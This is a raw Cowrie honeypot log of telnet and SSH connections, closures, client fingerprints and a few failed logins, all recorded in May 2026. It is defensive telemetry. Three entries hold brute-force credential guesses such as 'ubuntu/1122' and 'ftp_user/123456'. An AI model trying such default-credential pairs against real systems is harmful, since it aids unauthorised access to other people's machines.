{"eventid":"cowrie.session.closed","duration":3.1383163928985596,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.728659Z","src_ip":"35.195.106.231","session":"1fe8213846be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3106791973114014,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.737972Z","src_ip":"35.195.106.231","session":"3f25aa587298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6468515396118164,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.746861Z","src_ip":"35.195.106.231","session":"17b57b754dc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4923462867736816,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.755727Z","src_ip":"35.195.106.231","session":"36d8af67ba05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8408761024475098,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.770515Z","src_ip":"35.195.106.231","session":"1bc31e88c523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.010705232620239,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.779738Z","src_ip":"35.195.106.231","session":"9141a0ff7ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.189064979553223,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.792940Z","src_ip":"35.195.106.231","session":"5115e2384ad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.363521099090576,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.801742Z","src_ip":"35.195.106.231","session":"722c2339555e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5329554080963135,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.809074Z","src_ip":"35.195.106.231","session":"f4f33ed4e69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.702907085418701,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.818502Z","src_ip":"35.195.106.231","session":"611670f33efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.875360488891602,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.827264Z","src_ip":"35.195.106.231","session":"6ae671f88a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.070884704589844,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.859477Z","src_ip":"35.195.106.231","session":"b57b13e067c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.2387425899505615,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.868208Z","src_ip":"35.195.106.231","session":"bd3237f07470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.576157569885254,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.878400Z","src_ip":"35.195.106.231","session":"8ecf8b994599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.825049877166748,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.885175Z","src_ip":"35.195.106.231","session":"c79ef556d155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.006413698196411,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.898659Z","src_ip":"35.195.106.231","session":"6e25b9b34083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.173150539398193,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.906568Z","src_ip":"35.195.106.231","session":"75364fb5bd8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.337639093399048,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.915387Z","src_ip":"35.195.106.231","session":"9584c83805b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.50134539604187,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.923048Z","src_ip":"35.195.106.231","session":"1bf5e5aeed2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.668801546096802,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.932570Z","src_ip":"35.195.106.231","session":"7da061a4c8e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.834709882736206,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.941022Z","src_ip":"35.195.106.231","session":"8b4d2b83176d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.020559072494507,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.949005Z","src_ip":"35.195.106.231","session":"37b4d35ca18b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.1852192878723145,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.959008Z","src_ip":"35.195.106.231","session":"28a7b691b1ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.51274538040161,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:24.967176Z","src_ip":"35.195.106.231","session":"5c93869873bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45182,"dst_ip":"159.203.135.109","dst_port":23,"session":"53353082e8ce","protocol":"telnet","message":"New connection: 62.171.135.55:45182 (159.203.135.109:23) [session: 53353082e8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:26.374441Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59022,"dst_ip":"159.203.135.109","dst_port":23,"session":"6070335a2817","protocol":"telnet","message":"New connection: 62.171.135.55:59022 (159.203.135.109:23) [session: 6070335a2817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:31.452897Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37490,"dst_ip":"159.203.135.109","dst_port":23,"session":"672c3a49ead3","protocol":"telnet","message":"New connection: 62.171.135.55:37490 (159.203.135.109:23) [session: 672c3a49ead3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:33.505691Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":40440,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf080b30596","protocol":"telnet","message":"New connection: 62.171.135.55:40440 (159.203.135.109:23) [session: bdf080b30596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:34.506671Z"}
{"eventid":"cowrie.session.closed","duration":30.73551368713379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:38.184869Z","src_ip":"62.171.135.55","session":"b1cb9f3387dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023086309432983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:38.296192Z","src_ip":"62.171.135.55","session":"03bc4454f898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684529781341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:39.093790Z","src_ip":"62.171.135.55","session":"b4701b4f6da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636858701705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:39.116700Z","src_ip":"62.171.135.55","session":"0ef9c50634c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04405689239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:40.389636Z","src_ip":"62.171.135.55","session":"7d557aa6e8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704644918441772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:42.051108Z","src_ip":"62.171.135.55","session":"168fab5d1b04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.445233583450317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:43.141663Z","src_ip":"62.171.135.55","session":"17e84ccca447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770315647125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:43.146293Z","src_ip":"62.171.135.55","session":"19e0163eb20d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875848531723022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:43.232576Z","src_ip":"62.171.135.55","session":"a58e421f52f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.441670894622803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:43.398881Z","src_ip":"62.171.135.55","session":"fe3c0b0dc454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88349223136902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:44.156414Z","src_ip":"62.171.135.55","session":"56c7b9170dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904245376586914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:44.279072Z","src_ip":"62.171.135.55","session":"7b89aa409f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694653272628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:45.069076Z","src_ip":"62.171.135.55","session":"846088e231a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50469970703125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:45.874944Z","src_ip":"62.171.135.55","session":"ced657d334ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946282625198364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:46.280666Z","src_ip":"62.171.135.55","session":"4e8053e3bb10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e667dc2bd260","protocol":"telnet","message":"New connection: 62.171.135.55:54278 (159.203.135.109:23) [session: e667dc2bd260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:47.982442Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2a7b7c129b7","protocol":"ssh","message":"New connection: 159.203.92.129:60724 (159.203.135.109:22) [session: f2a7b7c129b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:48.195651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:48.201032Z","src_ip":"159.203.92.129","session":"f2a7b7c129b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:48.206168Z","src_ip":"159.203.92.129","session":"f2a7b7c129b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@123","message":"login attempt [ansible/dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:48.230676Z","src_ip":"159.203.92.129","session":"f2a7b7c129b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:49.236627Z","src_ip":"159.203.92.129","session":"f2a7b7c129b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.806734561920166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:51.051276Z","src_ip":"62.171.135.55","session":"c734c6320cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558500289916992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:51.136901Z","src_ip":"62.171.135.55","session":"da9e3db196c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974302291870117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:51.207026Z","src_ip":"62.171.135.55","session":"a59ea46814b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":41510,"dst_ip":"159.203.135.109","dst_port":22,"session":"324b81749cd9","protocol":"ssh","message":"New connection: 43.159.177.40:41510 (159.203.135.109:22) [session: 324b81749cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.335229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.340815Z","src_ip":"43.159.177.40","session":"324b81749cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.416366Z","src_ip":"43.159.177.40","session":"324b81749cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":59240,"dst_ip":"159.203.135.109","dst_port":22,"session":"3820db5a988b","protocol":"ssh","message":"New connection: 156.227.233.77:59240 (159.203.135.109:22) [session: 3820db5a988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.443291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.448305Z","src_ip":"156.227.233.77","session":"3820db5a988b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.609670Z","src_ip":"156.227.233.77","session":"3820db5a988b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1122","message":"login attempt [ubuntu/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:53.735392Z","src_ip":"43.159.177.40","session":"324b81749cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42162,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d16a8bec0c0","protocol":"telnet","message":"New connection: 62.171.135.55:42162 (159.203.135.109:23) [session: 9d16a8bec0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:54.124668Z"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"123456","message":"login attempt [ftp_user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:54.288619Z","src_ip":"156.227.233.77","session":"3820db5a988b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:54.813241Z","src_ip":"43.159.177.40","session":"324b81749cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05757713317871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:55.135474Z","src_ip":"62.171.135.55","session":"2b4bda4c9b6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:55.452279Z","src_ip":"156.227.233.77","session":"3820db5a988b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.745402336120605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:57.119756Z","src_ip":"62.171.135.55","session":"53353082e8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89780831336975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:02.350575Z","src_ip":"62.171.135.55","session":"6070335a2817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70995807647705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:04.215535Z","src_ip":"62.171.135.55","session":"672c3a49ead3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742061614990234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:05.248619Z","src_ip":"62.171.135.55","session":"bdf080b30596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47486,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad2b96d52d0f","protocol":"telnet","message":"New connection: 62.171.135.55:47486 (159.203.135.109:23) [session: ad2b96d52d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:06.005503Z"}
{"eventid":"cowrie.session.closed","duration":120.0019268989563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:07.463581Z","src_ip":"45.181.100.135","session":"d46f5d49de78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b05352e49ce","protocol":"telnet","message":"New connection: 62.171.135.55:53932 (159.203.135.109:23) [session: 1b05352e49ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:07.983299Z"}
